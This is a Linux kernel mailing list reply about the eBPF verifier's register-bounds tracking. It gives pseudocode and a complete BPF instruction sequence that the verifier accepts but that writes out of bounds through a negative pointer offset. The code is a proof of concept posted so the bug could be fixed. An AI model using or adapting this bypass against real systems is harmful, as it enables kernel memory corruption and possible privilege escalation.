On 05/06/17 19:47, Josef Bacik wrote:
> On Mon, Jun 05, 2017 at 11:11:05AM -0700, Alexei Starovoitov wrote:
>> Do you have an asm test case that demonstrates that?
> From here we want to exploit the fact that false_reg->min_value is not
> necessarily correct, but in order to do that we need to get
> false_reg->max_value
> below the actual size limit for the data we're reaching into, which means we
> want to _only_ change false_reg->max_value. Thankfully there doesn't appear
> to
> be a way to do that, everything changes either only min_value or both
> min_value
> and max_value. I think we're safe here, unless I've missed something.
> Thanks,
Here's the basic idea:
r1 = -8
r2 = -1
JGT r1, r2, end
JSGT r1, 1, end
ptr += r1
*(u8 *)ptr = 0
After the JGT, we're in the false branch so r1->min_value = 0 and r1->max_value
= (u64)-1.
After the JSGT, we're again in the false branch so r1->max_value = 1.
So when we add r1 to the pointer, the verifier thinks it's safe, but it's not,
because r1 is really negative.
And here's the asm:
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
BPF_LD_MAP_FD(BPF_REG_1, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0,
BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 7),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, -8),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_10, -16),
BPF_MOV64_IMM(BPF_REG_2, -1),
BPF_JMP_REG(BPF_JGT, BPF_REG_1, BPF_REG_2, 3),
BPF_JMP_IMM(BPF_JSGT, BPF_REG_1, 1, 2),
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),
BPF_ST_MEM(BPF_B, BPF_REG_0, 0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
The verifier currently accepts this program (with an appropriate map fd), but I
believe when run it will access invalid memory.
-Ed
